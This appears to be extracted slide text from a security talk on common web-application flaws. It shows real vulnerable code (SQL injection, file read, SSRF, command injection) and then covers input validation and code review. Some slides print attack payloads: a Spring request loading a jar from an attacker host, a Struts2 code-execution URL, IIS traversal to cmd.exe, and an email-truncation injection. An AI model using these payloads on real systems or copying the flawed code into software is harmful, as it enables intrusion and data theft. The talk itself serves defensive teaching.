IS AT HOMEDON’T TRY TH
Some of the code examples in this presentation may shock even the strongest of developers.
If you are faint of heart, or don’t like a good laugh, then it may pay to leave the room...... No really...
JAVA
PHP
ASP
C#
VB.Net
PERL
PYTHON
FLASH
C, C++
CFML
All Languages Can Lead To Security Vulnerabilities
Security Vulnerability
Abritrary Graph Of Statistics Of Vulnerabilities
3rd Hit Is A Vulnerability In A Graph Application
And Its SQL Injection
Have I Mentioned 2010 Yet?
Abritrary Graph Of Statistics Of Vulnerabilities
http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf
Abritrary Graph Of Statistics Of Vulnerabilities
http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf
Abritrary Graph Of Statistics Of Vulnerabilities
http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-2009.pdf
Huh?
Apologies
The code you are about to see comes from real applications,
only the variable names havebeen changed to protect theguilty.
If this code resembles yours, you may want to take notes...
What's Wrong With This Picture
if (!string.IsNullOrEmpty(Request.QueryString["Eid"]))
CMSMain.WhereCondition =
"TitleID IN (SELECT TitleID FROMCMS_Documents WHERE EID = " +Request.QueryString["Eid"] + ")“;
Frameworks Don’t Always Protect You
Data Access Through
Framework
Frameworks Segway....
Spring FrameworkSpring Framework execution of arbitrary codehttp://blog.o0o.nu/2010/06/cve-2010-1622.html
Framework Bugs
POST /adduser HTTP/1.0...class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
Any Form Controller
Overwrite The WebappClassLoader URL With An Arbitrary Remote Jar
Struts2/XWork FrameworkStruts2 Framework execution of arbitrary codehttp://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html
Framework Bugs
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1
Execute Arbitrary Java Code
“Lets make a list...”
OWASP Top 10
Image LoaderCalled via pages to display imagesPassed an image name in the URL
Trusting Filenames From The User
public void ProcessRequest(HttpContext context){ string ImageUrl = context.Request.QueryString["ImageUrl"]; .. context.Response.WriteFile(ImageUrl);}
Retrieve Arbitrary File From Server
Help System Page LoaderCalled to load help contents from other serverPassed a page reference in the URL
Trusting URLS From The User
public byte[] GetBytesFromUrl(string url){ HttpWebRequest myReq =
WebRequest.Create(url); var webResponse = webRequest.GetResponse(); using (var responseStream =
webResponse.GetResponseStream()) { return responseStream.ToBytes(); }}
Make Internal Network Requests
Making Unauthenticated Request Results in a 302 redirect to the login page
Using 302 Redirect As Security Measure
HTTP/1.1 302 FoundLocation: /admin/loginContent-Type: text/html; charset=utf-8Content-Length: 13226
<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/admin/login">here</a>.</h2></body></html>
That Seems Suspiciously Large
Using 302 Redirect As Security Measure
HTTP/1.1 302 FoundLocation: /admin/loginContent-Type: text/html; charset=utf-8Content-Length: 13226
<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/admin/login">here</a>.</h2></body></html>
<html><head id="_ctl1_Head1"><title>
File Upload</title><link href=“
Oh there it is.
Things that work
Things that DO NOT workPosting the CAPTCHA answer and responsePosting the CAPTCHA ‘id’ and response
Using HTML to display the CAPTCHA ‘word’Using HTML to display a mathematical equation to solve
POST /captcha HTTP/1.0
answer=kbpsh&response=kbpsh....
<html>Please type in these letters: kbpsh</html>
Usual Shopping Process
Shopping Cart Troubles
My Shopping Process
Shopping Cart Troubles
Add To Cart Contents After Payment Processed
Image LoaderFlash loaded by HTML pageHTML page sets parameters
Flash Accepts User Input
private var imgPath:String;
imgPath = "http://localhost/sample.jpg" : img = this.loaderInfo.parameters.img;
img_holder = new Image(imgPath);
Can Be Set Via URL Parameters
Flash Movie Host On Your Site, Loading Images From Attackers Site
Forgotten Password FeaturePage accepts email address and checks it is valid
Cross System Data Truncation
strEmail = Request.Form("txtemail")If strEmail <> "" Then objQRY.ClearParameters objQRY.AddParameter "@email", trim(strEmail)
set rsLogin = objQRY.ReturnRS("spUserMatch")
Calls A Stored Procedure
Forgotten Password FeatureStored procedures does a user lookup
Cross System Data Truncation
CREATE PROCEDURE [dbo].[spUserMatch]
@email varchar(100) = null
...Truncates Input To 100 Characters
Forgotten Password FeatureIf user exists, send email with new password
Cross System Data Truncation
Set Mailer = Server.CreateObject("SMTPsvg.Mailer")Mailer.Subject = "New Password"Mailer.BodyText = strBodyMailer.Recipient = strEmail
Uses The Original Input (Non Truncated)
<valid email address><100 spaces>;<attacker email address>
Attacker Receives Copy Of Email
Object SerialisedBase64 encoded and stored as cookie
Cookie Data Serialisation
// create mapjava.util.HashMap map = new java.util.HashMap();map.put("UserId", UserId);map.put("email", email);
// Serialise and B64 itString info = java.net.URLEncoder.encode(new String(org.apache.commons.codec.binary.Base64.encodeBase64(buffer.toByteArray()),"UTF-8"),"UTF-8");
// Store it in cookieorg.apache.cocoon.environment.http.HttpCookie cookie = new org.apache.cocoon.environment.http.HttpCookie("SESSION", info);
Object Is Stored Insecurely In CookieBase64 is not encryption
Cookie Data Can Be DecodedAnd modifiedAnd recodedAnd sent back
Application Deserialises ItAnd trusts itAnd attacker gains access as another userID
Cookie Data Serialisation
Execute System() With User Supplied InputThis was for real.... In a ‘security’ appliance used by .mil
Lets Not Leave Out PHP
if ($_GET["cmd"] == "TERMEND") { $sid = $_GET["param"]; $cmd = "/var/www/htdocs/utt/Queue.pl
delete_message_queue $sid";
system($cmd);
Did I Mention That It Was Unauthenticated Access
Well, This Sure Looks Useful
Cookies
void CheckLoginCount() { HttpCookie cookie =
Request.Cookies["LoginAttempts"];
if (cookie != null) { int attempts = cookie.Value; if (attempts >= 5)
Redirect("~/AccessDenied.aspx”); }}
Remember Me FunctionalityUser selects remember meApplication generates random tokenStores token in cookie, and in database
More Cookies
$token = substr(md5(uniqid(rand(), true)), 0, 49 - strlen($this->ID));
$this->RememberLoginToken = $token;
Cookie::set('rem_me', $this->ID . ':' . $token);
Remember Me FunctionalityUser selects to logoutApplication sets token to nullStores null in cookie, and in database
More Cookies
$this->RememberLoginToken = null;Cookie::set('rem_enc', null);
Remember Me FunctionalityIf the user doesn’t logout they use the autologin featureApplication loads user based on cookie valueApplication checks the $tokens match
More Cookies
list($uid, $token) = explode(':', Cookie::get(‘rem_me'), 2);
$a_uid = Convert::raw2sql($uid);
$user = DataObject::get_one(“User", “User.ID = '$a_uid'");
if($user && $user->RememberLoginToken != $token) {$member = null;
}What Happens If $token is empty
(null)
Never Trust User Supplied Input
Evil Users
No really, users are evil
And Hands Leap Out Of Matrix Style Backgrounds
Input Validation Is The KeyNo I didn’t say ‘silver bullet’Properly implemented can prevent most app vulns
Validate At InputValidate all input to ensure if conforms to the required format
Validate All InputText strings, Cookie values, HTTP headersFile data, Path names, URL values, CurrencyData from databases, 3rd parties, web services
Input Validation
Client Site ValidationShould only be used to reduce browser requestsNever rely on client side validation for security
Backend ValidationValidate the dataEnsure the user is authorised to access data recordsShould not matter what values the user sends
Data Comes In Many Forms“this is data”%74%68%69%73%20%69%73%20%64%61%74%61this is data“ThIs iS dAtA”
Many paths to the same location/help.jsp?page=user/welcome.htm/help.jsp?page=user/../admin/welcome.htm/help.jsp?page=user\..\admin/welcome.htm/help.jsp?page=user\/\/..//\\/admin/welcome.htm/help.jsp?page=help.jsp
Data Normalisation
Depending On ApplicationDecode or reject
Detect Encoded DataDecode the data and compare to original
Decode Recursively To Its Lowest FormConcatenation of pathsMultiple layers of encoding
Formalise Decoding OrderTo prevent unintended decoding later in the application
Data Decoding or Normalisation
MS Extended Unicode vulnerability
MS Double Decode vulnerability
NGINX Source Code Disclosure
Data Decoding And Validation FAIL
/scripts/..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
http://www.example.com/file.php%20
Ensure Data Conforms To Required FormatCheck length, type, min() max() valuesAlphanumeric onlyMust be a valid date
Reject Bad DataDo not attempt to fix it upEasily leads to confusion
Use Data WhitelistsChecks against a list of known good valuesEasier to know which values are good inputThe recommended approach
Conforms
Data Will Be Used In Different PlaceSQL, XML, Output, Log files
Requires Different SanitisationRemove meta charsRemove special charactersRemove Linefeeds
Use Standard Formalised Reusable Code BlocksMost languages contain theseOWASP supplies someHomebrew stuff should be well tested and documented at the start of development
Santise Data For Use
This Is Not Filtering
And Yes, XSS without <script> is possible
Don’t Forget To Escape The Escape Character
When Filtering Goes Wrong
If (imageurl = “/web.config”) exit()
If (req.getParameter(‘name’) .indexOf("<script") > 0exit()
input.Replace("+", "\\+").Replace("=", "\\=").Replace("(", "\\(").Replace(")", "\\)").Replace("*", "\\*").Replace("&", "\\&").Replace("!", "\\!").Replace("|","\\|"));
Things To Try At HomeReview your own codeConduct internal peer reviewsHave a set of standards, and stick to them
Grepping The CodeLooking for where user input is usedLooking for dangerous syntax useParticular attention to ‘danger areas’ such as file uploadReview the stored procedures
Think Like An AttackerWant to ‘break the code’
Back To The Code
www.insomniasec.com